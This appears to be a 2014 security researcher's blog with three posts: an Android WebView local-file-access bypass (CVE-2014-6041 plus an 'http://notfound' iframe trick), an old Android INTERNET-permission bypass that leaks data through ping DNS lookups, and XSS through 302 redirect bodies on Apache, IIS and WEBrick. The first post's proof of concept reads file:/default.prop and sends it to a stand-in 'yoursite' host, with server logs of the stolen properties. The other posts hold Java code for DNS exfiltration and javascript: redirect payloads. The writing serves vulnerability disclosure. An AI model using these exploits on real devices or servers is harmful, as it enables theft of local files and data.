2014年9月21日日曜日

Android WebView Local File Access Restriction Bypass (CVE-2014-6041 and notfound trick)

Usually, web sites cannot open and access client's local file. However, 'file:' can be available by using 'notfound trick' and an attacker can get local file from remote web site. :-)

CVE-2014-6041
CVE-2014-6041 was disclosed by Rafay Baloch. This enables attackers to bypass Android browser and WebView SOP. Very interesting!
<iframe name="test" src="http://www.rhainfosec.com"></iframe> <input type=button value="test" onclick="window.open('\u0000javascript:alert(document.domain)','test')" >
Since Android browser and WebView are strictly prohibit local file access from web sites on the Internet. For example, when you try to open 'file:/default.prop' by iframe on your web site, you can see just a white page. '\u0000file:xxx' also doesn't work.
But, by using notfound trick, you can open 'file:xxx' by iframe and CVE-2014-6041 enable us to access it's body.innerHTML.
Notfound trick
Notfound trick is quite easy. Just open 'http://notfound' by iframe:
<iframe src="http://notfound"></iframe>
Then, this iframe has escalated privilege. 

 

An attacker can open local files as Android browser. '/data/data/com.android.browser/*' is also readable like below:
There is no need to open target websites with iframe.

Android 2.X and 3.X are exploitable by only this notfound trick but I couldn't use it on Android 4.X. CVE-2014-6041 enables me to access body.innerHTML. And, probably, this trick is not known one.

Affected version
I tested this on my Android phone (4.0.4) and Android SDK emulator (4.1.2, 4.2.2). It works both of Android browser and WebView applications.
When I opened 'http://notfound/' with Android SDK emulator 4.4.2, I found the message 'E/browser ( 1067): Console: Not allowed to load local resource: file:///android_asset/webkit/android-weberror.png data:text/html,chromewebdata:12' at terminal log. It looks iframe failed to get escalated privilege. 

PoC
test.html:
<button onclick="iframe.src='http://notfound/'">Open http://notfound/</button><br>
<button onclick="exploit1()">Get local file!</button><br>
<script>
function exploit1() {
window.open('\u0000javascript:document.body.innerHTML="<script src=http://yoursite/exploit/test.js></scr"+"ipt><iframe src=file:/default.prop onload=exploit2()  style=width:100%;height:1000px; name=test2></iframe>";','test');
}
</script>
<iframe src="http://www.example.com/" id="iframe" style="width:100%;height:1000px;" name="test"></iframe>
test.js:
var flag = 0;
function exploit2(){
  if(flag) {return}
  window.open('\u0000javascript:location.replace("http://yoursite/?file="+escape(document.body.innerHTML))','test2');
  flag = 1;
}
Server side logs:
XXX.XXX.XXX.XXX - - [21/Sep/2014:15:05:58 +0900] "GET /?file=%23%0A%23%20ADDITIONAL_DEFAULT_PROPERTIES%0A%23%0Aro.secure%3D0%0Aro.allow.mock.location%3D1%0Aro.debuggable%3D1%0Apersist.sys.usb.config%3Dadb%0A HTTP/1.1" 200 137 "-" "Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; Android SDK built for x86 Build/JRO03H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30"
XXX.XXX.XXX.XXX - - [21/Sep/2014:15:20:54 +0900] "GET /?file=%23%0A%23%20ADDITIONAL_DEFAULT_PROPERTIES%0A%23%0Aro.secure%3D0%0Aro.allow.mock.location%3D1%0Aro.debuggable%3D1%0Apersist.sys.usb.config%3Dadb%0A HTTP/1.1" 200 137 "-" "Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; sdk Build/JB_MR1.1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30"
It works!



2014年9月20日土曜日

INTERNET Permission Bypass via Ping Command for Android 2.X (Sep. 2010)

Note: This article describes an old vulnerability of Android.

Although, It was already fixed on Android 4.X, I'd like to write article about this because I think this is very interesting technically.
I reported it to Google Sep. 2010 and be said my report makes no sense and is waste of time :-( But it looks be patched Nov. 2010 for 3.X and 4.X. Actually, I don't know this is still available or not for Android 2.X because I can't find discussion about this on the web. But I think still available on some devices.
I found this bypass on my Xperia SO-01B with Android 1.6. This is my first Android :-)
At that time, most of users' Androids were 2.X or 1.X and were affected by this.

Internet Permission
Generally, It is thought that Android handles all Android permission at Java. However, Android OS has a uid(AID_INET) to handle this permission.
For example, when you use nc command as an application which has no INTERNET permission, you will see permission error like below:
# su app_31
su app_31
$ nc www.google.co.jp 80
nc www.google.co.jp 80
www.google.co.jp: forward host lookup failed:  : Permission denied
However, vulnerable ping command allows applications that has no INTERNET permission to run ping command. Actually, when you run command as an application via adb shell, permissions are different from actual. This is an example of id command result:
uid=10035(app_35) gid=10035(app_35)
If this application has INTERNET permission, inet will be listed in this result:
uid=10038(app_38) gid=10038(app_38) groups=3003(inet)
Note: To confirm 'groups', you should run id command from Android application. Don't use adb shell.

Ping command
ping command requires elevated privilege to send and listen for control packets on a network interface. And old Android's ping command doesn't check uid. This means all application can run ping command with elevated privilege.
File permission of ping on Android:
-rwxr-sr-x root     net_raw     26708 2011-05-04 23:23 ping
As a result, attacker can receive ping command but this packet includes few useful information. However, ping command resolves domain names before send ping packet because cannot access to the server without IP address. If an attacker has DNS servers, he can receive useful DNS query from the client. So, an attacker can receive any messages via sub domain like 'ping message.example.com': 

And DNS servers can response arbitrary IP addresses, client application can receive attacker's command.

PoC:
public class PingActivity extends Activity {
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_ping);
Runtime r = Runtime.getRuntime();
Process p;
try {
String message = "secret_message!";
p = r.exec("ping -c 1 -W 1 "+message+".example.com");
} catch (IOException e1) {
}
//ping result
    }
}








2014年9月15日月曜日

Minor XSS on Apache, IIS and WeBrick

Javanese version is available at here.

These days, response body of 302 redirect, like below, is difficult to see. Modern browsers can handle 302 redirect automatically.

However, if we can see this 302 redirect page with default settings, it is a little interesting.


ChromeIEFirefoxOpera(Presto)
NormalNGNGNGNG
BlankOKNGOKOK
about:blankNGNGNGOK
javascript:xxxNGNGNGOK(Excellent!)

Although, Opera announced it would drop its own Presto engine, minor web servers' xss flaw can be available.

Apache2.4.7+Perl
Vulnerable perl sample code: 
#! /usr/bin/perl --
use CGI;
my $cgi = CGI->new();
my $url = $cgi->param("url");
print "Location: ".$url."\n\n";
Normal response of Apache 302 redirect is below:
HTTP/1.1 302 Found
Date: Mon, 15 Sep 2014 13:24:05 GMT
Server: Apache/2.4.7 (Ubuntu)
Location: http://www.example.com/
Content-Length: 281
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://www.example.com/">here</a>.</p>
<hr>
<address>Apache/2.4.7 (Ubuntu) Server at localhost Port 80</address>
</body></html>
 It looks that famous XSS vactor '<a href="javascript:xxxx">' is available. Then, result is:

Provably, this 302 redirect response body is hard coded on apache source code.

IIS 7.5 (Windows7) + asp
Sample code:
<%
    Response.Redirect Request.QueryString("url")
%>
Result:


WEBrick/1.3.1
Response:
HTTP/1.1 302 Found
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Location: javascript:alert(0)
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Request-Id: bb768842-983e-4ef8-b0e7-795193db1a96
X-Runtime: 0.007491
Server: WEBrick/1.3.1 (Ruby/2.1.2/2014-05-08)
Date: Sun, 06 Jul 2014 12:00:51 GMT
Content-Length: 85
Connection: Keep-Alive

<html><body>You are being <a href="javascript:alert(0)">redirected</a>.</body></html>
Very close! It doesn't work with Presto because of CRLF but works with FireFox5.

And I still have a minor alternative :)







Moved

Since previous blog has a lot of ads, I'll use here.